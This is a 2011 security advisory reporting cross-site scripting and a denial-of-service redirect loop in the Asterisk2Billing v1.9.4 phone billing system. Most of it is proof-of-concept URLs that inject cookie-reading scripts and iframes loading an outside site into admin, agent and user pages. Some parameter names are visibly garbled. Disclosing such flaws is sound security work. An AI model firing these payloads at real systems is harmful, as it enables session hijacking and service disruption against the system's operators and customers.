Document Title:
===============
Asterisk2Billing v1.9.4 - Multiple Web Vulnerabilities



Release Date:
=============
2011-08-10


Vulnerability Laboratory ID (VL-ID):
====================================
5


Abstract Advisory Information:
==============================
The Vulnerability-Lab Team discovered multiple persistent Web Vulnerabilities on Asterisk 2 Billing Phone System.


Vulnerability Disclosure Timeline:
==================================
2011-08-11: Discovery by Vulnerability-Lab


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
1.1
Multiple Input Validation Vulnerabilities are detected on A2B(persistent). A remote attacker can include persistent malicious
script codes to hijack customer sessions or manipulate application requests.


1.2
Multiple Input Validation Vulnerabilities are detected on A2B(non-persistent).A remote attacker can form malicious cross site 
requests to manipualte a admin/customer on client-side(browser).


1.3
This Vulnerability can be used as Denial of Service its a redirection Loop what never ends. When running application is frozen.

Path:		/a2b_admin/Public/
File:		CC_upload.php
Para:		?section=11&acc=


Proof of Concept (PoC):
=======================
The Vulnerabilities can be exploited by remote attackers. For demonstration or reproduce ...


1.1 Vulnerable Modules (Persistent) ...

Admin-Area:
A2B_entity_subscriber.php
CC_support.php
A2B_entity_agent.php
A2B_entity_config.php

Agent-Area:
A2B_entity_card.php
A2B_entity_friend.php
A2B_entity_card.php
A2B_entity_def_ratecard.php

User-Area:
A2B_notification.php
A2B_entity_phonebook.php
A2B_entity_card.php



1.2 Vulnerable Parameter (Non-Persistent) ...

Admin-Area
https://demo.xxx.com/a2b/admin/Public/A2B_entity_card.php?form_action=ask-add&atmenu=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
https://demo.xxx.com/a2b/admin/Public/A2B_entity_server.php?form_action=ask-edit&id=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
https://demo.xxx.com/a2b/admin/Public/A2B_entity_config.php?atmenu=document&stitle=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
https://demo.xxx.com/a2b/admin/Public/A2B_entity_package_group.php?form_action=ask-delete&id=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
https://demo.xxx.com/a2b/admin/Public/A2B_entity_friend.php?atmenu=iax&stitle=Document&wh=AC&id=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
http://demo.xxx.com/a2b_admin/Public/A2B_entity_friend.php?atmenu=%3E%22%3Ciframe%20src=http://global-evolution.info%20width=800%20height=800%3E§ion=1
https://demo.xxx.com/a2b/admin/Public/A2B_entity_config.php?form_action=list&atmenu=config&stitle=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
https://demo.xxx.com/a2b/admin/Public/CC_support.php?atmenu=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
https://demo.xxx.com/a2b/admin/Public/A2B_entity_agent.php?popup_select=1&popup_formname=form&popup_fieldname=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
https://demo.xxx.com/a2b/admin/Public/A2B_entity_subscriber.php?section=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
http://demo.xxx.com/a2b_admin/Public/CC_support.php?form_action=ask-delete&id=%3E%22%3Ciframe%20src=http://global-evolution.info%20width=800%20height=600%3E
http://demo.xxx.com/a2b_admin/Public/A2B_entity_tariffplan.php?atmenu=tariffplan§ion=%3E%22%3Ciframe%20src=http://global-evolution.info%20width=800%20height=600%3E
http://demo.xxx.com/a2b_admin/Public/A2B_entity_user.php?atmenu=user&groupID=%3E%22%3Ciframe%20src=http://global-evolution.info%20width=800%20height=800%3E§ion=3

Agent-Area
http://demo.xxx.com/a2b_agent/Public/A2B_entity_card.php?form_action=ask-edit&id=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
http://demo.xxx.com/a2b_agent/Public/A2B_ticket_view.php?id=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
http://demo.xxx.com/a2b_agent/Public/A2B_entity_friend.php?section=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
http://demo.xxx.com/a2b_agent/Public/A2B_entity_def_ratecard.php?cancelsearch=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221



User-Area
https://demo.xxx.com/A2B_entity_speeddial.php?form_action=ask-delete&id=%3E%22%3Ciframe%20src=http://global-evolution.info%20width=800%20height=800%3E
https://demo.xxx.com/A2B_notification.php?form_action=>"<iframe src=http://global-evolution.info width=800 height=800>
https://demo.xxx.com/A2B_entity_phonebook.php?stitle=Document&atmenu=document&order=&sens=¤t_page=0&filterprefix=&popup_select=&popup_formname=&popup_fieldname=&type=&id=2&atmenu=document&stitle=Document&wh=AC&id=2&mydisplaylimit=%3E%22%3Ciframe%20src=http://global-evolution.info%20width=800%20height=800%3E
https://demo.xxx.com/A2B_entity_card.php?atmenu=password&form_action=ask-edit&stitle=%3E%22%3Ciframe%20src=http://global-evolution.info%20width=800%20height=800%3E

Signup-Key
http://127.0.0.1:8080/customer/signup.php?key=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221


1.3
http://demo.xxx.com/a2b_admin/Public/CC_upload.php?section=11&acc=-23


Security Risk:
==============
1.1
The security risk  of the persistent vulnerabilities are estimated as high(-) because of multiple persistent attack vectors.

1.2
The security risk of the non-persistent vulnerabilities are estimated as low.

1.3
The security risk  of the loop bug is estimated as low.


Credits & Authors:
==================
Vulnerability Research Laboratory


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=========================
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